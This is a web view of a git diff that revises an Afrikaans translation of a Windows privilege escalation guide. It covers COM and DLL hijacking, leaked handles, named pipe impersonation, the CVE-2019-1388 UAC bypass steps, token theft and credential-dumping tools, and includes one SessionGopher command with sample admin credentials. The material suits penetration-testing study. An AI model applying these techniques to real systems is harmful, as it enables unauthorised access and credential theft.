**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **onderlinge kommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent is **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot deur een of meer interfaces, geïdentifiseer deur interface ID's (IIDs).
|
||||
**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **onderlinge kommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent is **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot deur een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
|
||||
|
||||
COM klasse en interfaces word in die registrasie onder **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** en **HKEY\_**_**CLASSES\_**_**ROOT\Interface** onderskeidelik gedefinieer. Hierdie registrasie word geskep deur die **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **standaardwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Meervoudige-Draad), **Both** (Enkel of Meervoudig) of **Neutral** (Draad Neutraal) kan wees.
|
||||
Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **standaardwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Meervoudige Draad), **Both** (Enkel of Meervoudig) of **Neutral** (Draad Neutraal) kan wees.
|
||||
|
||||
.png>)
|
||||
|
||||
Basies, as jy enige van die DLL's wat gaan uitgevoer word kan **oorskryf**, kan jy **privileges verhoog** as daardie DLL deur 'n ander gebruiker uitgevoer gaan word.
|
||||
Basies, as jy enige van die DLLs wat gaan uitgevoer word kan **oorskry**, kan jy **privileges verhoog** as daardie DLL deur 'n ander gebruiker uitgevoer gaan word.
|
||||
|
||||
Om te leer hoe aanvallers COM Hijacking as 'n volhardingsmeganisme gebruik, kyk:
|
||||
|
||||
@ -1182,7 +1184,7 @@ Om te leer hoe aanvallers COM Hijacking as 'n volhardingsmeganisme gebruik, kyk:
|
||||
com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### **Generiese Wagwoord soektog in lêers en registrasie**
|
||||
### **Generiese Wagwoordsoektog in lêers en registrasie**
|
||||
|
||||
**Soek na lêerinhoud**
|
||||
```bash
|
||||
@ -1219,17 +1221,17 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Gelekte Handlers
|
||||
|
||||
Imagine dat **'n proses wat as SYSTEM loop 'n nuwe proses** (`OpenProcess()`) met **volledige toegang** open. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat al die oop handlers van die hoofproses oorneem**.\
|
||||
As jy dan **volledige toegang tot die lae voorregte proses het**, kan jy die **oop handle na die voorregte proses wat geskep is** met `OpenProcess()` gryp en **'n shellcode inspuit**.\
|
||||
As jy dan **volledige toegang tot die lae voorregte proses het**, kan jy die **oop handle van die voorregte proses wat met `OpenProcess()` geskep is** gryp en **'n shellcode inspuit**.\
|
||||
[Lees hierdie voorbeeld vir meer inligting oor **hoe om hierdie kwesbaarheid te ontdek en te benut**.](leaked-handle-exploitation.md)\
|
||||
[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om meer oop handlers van prosesse en drade met verskillende vlakke van toestemmings (nie net volledige toegang nie) te toets en te misbruik**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om te toets en meer oop handlers van prosesse en drade met verskillende vlakke van toestemmings (nie net volledige toegang nie) te misbruik**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
## Genoemde Pyp Kliënt Imitasie
|
||||
## Genoemde Pyp Klient Imitasie
|
||||
|
||||
Gedeelde geheue segmente, bekend as **pype**, stel proseskommunikasie en datatransfer in staat.
|
||||
|
||||
Windows bied 'n funksie genaamd **Genoemde Pype**, wat ongebonde prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit herinner aan 'n kliënt/bediener argitektuur, met rolle wat gedefinieer is as **genoemde pyp bediener** en **genoemde pyp kliënt**.
|
||||
Windows bied 'n funksie genaamd **Genoemde Pype**, wat ongebonde prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit herinner aan 'n kliënt/bediener argitektuur, met rolle wat gedefinieer is as **genoemde pyp bediener** en **genoemde pyp klient**.
|
||||
|
||||
Wanneer data deur 'n pyp deur 'n **kliënt** gestuur word, het die **bediener** wat die pyp opgestel het die vermoë om die **identiteit** van die **kliënt** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **voorregte proses** te identifiseer wat via 'n pyp kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem sodra dit met die pyp waarmee jy werk, interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, kan nuttige gidse gevind word [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system).
|
||||
Wanneer data deur 'n pyp deur 'n **klient** gestuur word, het die **bediener** wat die pyp opgestel het die vermoë om die **identiteit** van die **klient** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **voorregte proses** te identifiseer wat via 'n pyp kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem sodra dit met die pyp waarmee jy werk, interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, kan nuttige gidse gevind word [**hier**](named-pipe-client-impersonation.md) en [**hier**](#from-high-integrity-to-system).
|
||||
|
||||
Ook die volgende hulpmiddel laat jou toe om **'n genoem pyp kommunikasie met 'n hulpmiddel soos burp te onderskep:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel laat jou toe om al die pype te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1247,13 +1249,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
}
|
||||
```
|
||||
## Diefstal van wagwoorde uit prosesse
|
||||
## Stealing passwords from processes
|
||||
|
||||
## Van Lae Privilege Gebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||||
## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||||
|
||||
As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n onprivilegieerde gebruiker te loop.
|
||||
As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n nie-bevoegde gebruiker te loop.
|
||||
|
||||
Dit maak dit moontlik om privileges te eskaleer en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
|
||||
Dit maak dit moontlik om bevoegdhede te verhoog en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
|
||||
|
||||
Sommige van die geraakte stelsels is die volgende:
|
||||
```
|
||||
@ -1295,7 +1297,7 @@ Om hierdie kwesbaarheid te benut, is dit nodig om die volgende stappe uit te voe
|
||||
|
||||
8) Remember to cancel setup and the UAC prompt to return to your desktop.
|
||||
```
|
||||
U het al die nodige lêers en inligting in die volgende GitHub-repositori:
|
||||
U het al die nodige lêers en inligting in die volgende GitHub-repo:
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
@ -1333,19 +1335,19 @@ Van 'n Hoë Integriteit proses kan jy probeer om die **AlwaysInstallElevated reg
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds Hoë Integriteit proses vind), sal jy in staat wees om **byna enige proses** (nie beskermde prosesse nie) met die SeDebug privilege te **oop te maak**, **die token** van die proses te kopieer, en 'n **arbitraire proses met daardie token te skep**.\
|
||||
As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds Hoë Integriteit proses vind), sal jy in staat wees om **byna enige proses** (nie beskermde prosesse nie) met die SeDebug privilege te **oopmaak**, **die token** van die proses te **kopieer**, en 'n **arbitraire proses met daardie token te skep**.\
|
||||
Die gebruik van hierdie tegniek behels gewoonlik **om enige proses wat as SYSTEM loop met al die token privileges te kies** (_ja, jy kan SYSTEM prosesse vind sonder al die token privileges_).\
|
||||
**Jy kan 'n** [**voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Hierdie tegniek word deur meterpreter gebruik om op te skaal in `getsystem`. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** privilege in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM privileges te verkry.\
|
||||
Hierdie tegniek word deur meterpreter gebruik om in `getsystem` te eskaleer. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** privilege in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM privileges te verkry.\
|
||||
As jy wil [**meer leer oor naam pype moet jy dit lees**](#named-pipe-client-impersonation).\
|
||||
As jy 'n voorbeeld wil lees van [**hoe om van hoë integriteit na System te gaan met naam pype moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege escalasie, en, verder, as dit **veel makliker is om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryftoestemmings** op die vouers het wat gebruik word om dlls te laai.\
|
||||
As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege eskalasie, en, verder, as baie **eenvoudiger om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryftoestemmings** op die vouers het wat gebruik word om dlls te laai.\
|
||||
**Jy kan** [**meer leer oor Dll hijacking hier**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
@ -1364,18 +1366,18 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
## Useful tools
|
||||
|
||||
**Beste hulpmiddel om te soek na Windows plaaslike privilege escalasie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
**Beste hulpmiddel om te soek na Windows plaaslike privilege eskalasie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
**PS**
|
||||
|
||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir miskonfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gekies.**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sommige moontlike miskonfigurasies en versamel inligting (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir miskonfigurasies**\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir misconfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gekies.**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sommige moontlike misconfigurasies en versamel inligting (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir misconfigurasies**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie inligting. Gebruik -Thorough in plaaslik.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Onttrek kredensiale uit Credential Manager. Gekies.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spuit versamelde wagwoorde oor domein**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle hulpmiddel.**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofing en man-in-the-middle hulpmiddel.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basiese privesc Windows enumerasie**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Plaaslike kontroles **(Benodig Admin regte)**
|
||||
@ -1383,11 +1385,11 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) ([**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates die gasheer op soek na miskonfigurasies (meer 'n versamel inligting hulpmiddel as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates die gasheer op soek na misconfigurasies (meer 'n inligting versamel hulpmiddel as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Onttrek kredensiale uit baie sagteware (vooraf saamgestelde exe in github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port van PowerUp na C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir miskonfigurasie (uitvoerbare vooraf saamgestelde in github). Nie aanbeveel nie. Dit werk nie goed in Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike miskonfigurasies (exe van python). Nie aanbeveel nie. Dit werk nie goed in Win10.
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir misconfigurasie (uitvoerbare vooraf saamgestelde in github). Nie aanbeveel. Dit werk nie goed in Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike misconfigurasies (exe van python). Nie aanbeveel. Dit werk nie goed in Win10.
|
||||
|
||||
**Bat**
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user